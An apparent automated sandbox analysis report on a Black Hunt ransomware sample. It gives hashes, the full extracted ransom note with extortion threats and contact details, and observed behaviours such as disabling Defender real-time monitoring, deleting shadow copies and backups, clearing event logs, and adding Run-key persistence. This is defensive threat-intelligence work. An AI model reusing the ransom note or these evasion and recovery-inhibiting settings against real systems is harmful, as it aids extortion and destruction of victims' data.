53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 23:22

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General

Target

53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
Size

707KB
MD5

8351db36bc9e7cf4b8645104aafb4cd6
SHA1

e4d1354d2a32bee96d15e3cb0bd51f3db071a9a4
SHA256

53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789
SHA512

4ba0cc327270ec11ec9a1ac5741f017731dfffb8c0c095ea4378a872251ff775bdf6ea8b46bbc6b1ab0b1f46580ca153935ddd1c63e93e14782b286cbadffe0d
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza168fvnh:6uaTmkZJ+naie5OTamgEoKxLWh3h

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> KLVkD9rhkb0E5aFz </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
3980	fsutil.exe
900	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
3996	wevtutil.exe
3228	wevtutil.exe
4008	wevtutil.exe
3976	wevtutil.exe
4076	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2640	bcdedit.exe
964	bcdedit.exe
4000	bcdedit.exe
884	bcdedit.exe

Renames multiple (2902) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2400	wbadmin.exe
2620	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
3464	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\S:	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened (read-only)	\??\W:	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened (read-only)	\??\P:	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened (read-only)	\??\Y:	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened (read-only)	\??\H:	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened (read-only)	\??\N:	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened (read-only)	\??\R:	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened (read-only)	\??\T:	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened (read-only)	\??\V:	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\J:	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened (read-only)	\??\K:	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened (read-only)	\??\O:	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened (read-only)	\??\A:	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened (read-only)	\??\X:	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened (read-only)	\??\Q:	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened (read-only)	\??\L:	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened (read-only)	\??\I:	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened (read-only)	\??\B:	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened (read-only)	\??\M:	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\U:	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened (read-only)	\??\G:	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened (read-only)	\??\F:	conhost.exe
File opened (read-only)	\??\E:	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened (read-only)	\??\Z:	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\VideoLAN\VLC\locale\lv\#BlackHunt_ReadMe.hta	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-swing-plaf.xml	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jre7\lib\images\cursors\win32_LinkNoDrop32x32.gif	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\Data1.cab	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Scenes_INTRO_BG_PAL.wmv	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.p2.ui.overridden_5.5.0.165303.jar	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\etc\#BlackHunt_ReadMe.hta	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\org-netbeans-modules-favorites.xml_hidden	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-sa.jar	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\#BlackHunt_ReadMe.hta	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\#BlackHunt_Private.key	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\#BlackHunt_Private.key	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help.base_4.0.200.v20141007-2301.jar	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-heapwalker_zh_CN.jar	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Niue	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages_de.properties	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Kathmandu	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\button-overlay.png	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\feature.properties	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.repository_2.3.0.v20131211-1531.jar	53b6074eff0c89fa5516c5fa9a32dcd1537563b9d2b139faf1e5d67e6f2ed789.exe
